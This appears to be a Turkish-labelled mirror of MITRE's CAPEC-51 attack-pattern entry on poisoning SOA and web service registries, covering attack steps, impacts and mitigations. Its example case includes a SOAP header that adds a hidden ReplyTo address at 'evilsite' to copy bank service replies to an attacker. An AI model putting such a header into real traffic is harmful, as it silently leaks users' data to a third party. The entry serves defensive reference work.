COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONMITRE canlı kaydı

CAPEC-51

Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

Soyutlama

Detailed

Tipik ciddiyet

Very High

Saldırı ihtimali

High

Saldırıyı anla

Bu saldırı kalıbı nedir?

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

Genişletilmiş açıklama

WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol.

Uygulama akışı

Saldırı adım adım nasıl ilerler?

1

Explore

Find a target SOA or Web Service

The adversary must first indentify a target SOA or Web Service.
2

Experiment

Determine desired outcome

Because poisoning a web service registry can have different outcomes, the adversary must decide how they wish to effect the webservice.

Kullanılan teknikler

  • An adversary can perform a denial of service attack on a web service.
  • An adversary can redirect requests or responses to a malicious service.

Determine if a malicious service needs to be created

If the adversary wishes to redirect requests or responses, they will need to create a malicious service to redirect to.

Kullanılan teknikler

  • Create a service to that requests are sent to in addition to the legitimate service and simply record the requests.
  • Create a service that will give malicious responses to a service provider.
  • Act as a malicious service provider and respond to requests in an arbitrary way.
3

Exploit

Poison Web Service Registry

Based on the desired outcome, poison the web service registry. This is done by altering the data at rest in the registry or uploading malicious content by spoofing a service provider.

Kullanılan teknikler

  • Intercept and change WS-Adressing headers to route to a malicious service or service provider.
  • Provide incorrect information in schema or metadata to cause a denial of service.
  • Delete information about service procider interfaces to cause a denial of service.

Gereksinimler

Saldırının gerçekleşmesi için ne gerekir?

Ön koşullar

  • The attacker must be able to write to resources or redirect access to the service registry.

Gerekli beceri

  • Low: To identify and execute against an over-privileged system interface

Gerekli kaynak

  • Capability to directly or indirectly modify registry resources

Etki

Başarılı saldırı neye yol açar?

Execute Unauthorized Commands

Etkilenen alanlar: Confidentiality, Integrity, Availability

Read Data

Etkilenen alanlar: Confidentiality

Modify Data

Etkilenen alanlar: Integrity

Savunma

Nasıl önlenir ve etkisi azaltılır?

1
Design: Enforce principle of least privilege
2
Design: Harden registry server and file access permissions
3
Implementation: Implement communications to and from the registry using secure protocols

Gerçek dünya

MITRE örnek olayları

Örnek olay 1Detay
WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime. <S:Header> <wsa:MessageID> http://example.com/Message </wsa:MessageID> <wsa:ReplyTo> <wsa:Address>http://valid.example/validClient</wsa:Address> </wsa:ReplyTo> <wsa:ReplyTo> <wsa:Address>http://evilsite/evilClient</wsa:Address> </wsa:ReplyTo> <wsa:FaultTo> <wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address> </wsa:FaultTo> </S:Header> In this example "evilsite" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.
CAPEC-51: Poison Web Service Registry — DayBreach Saldırı Sözlüğü · DayBreach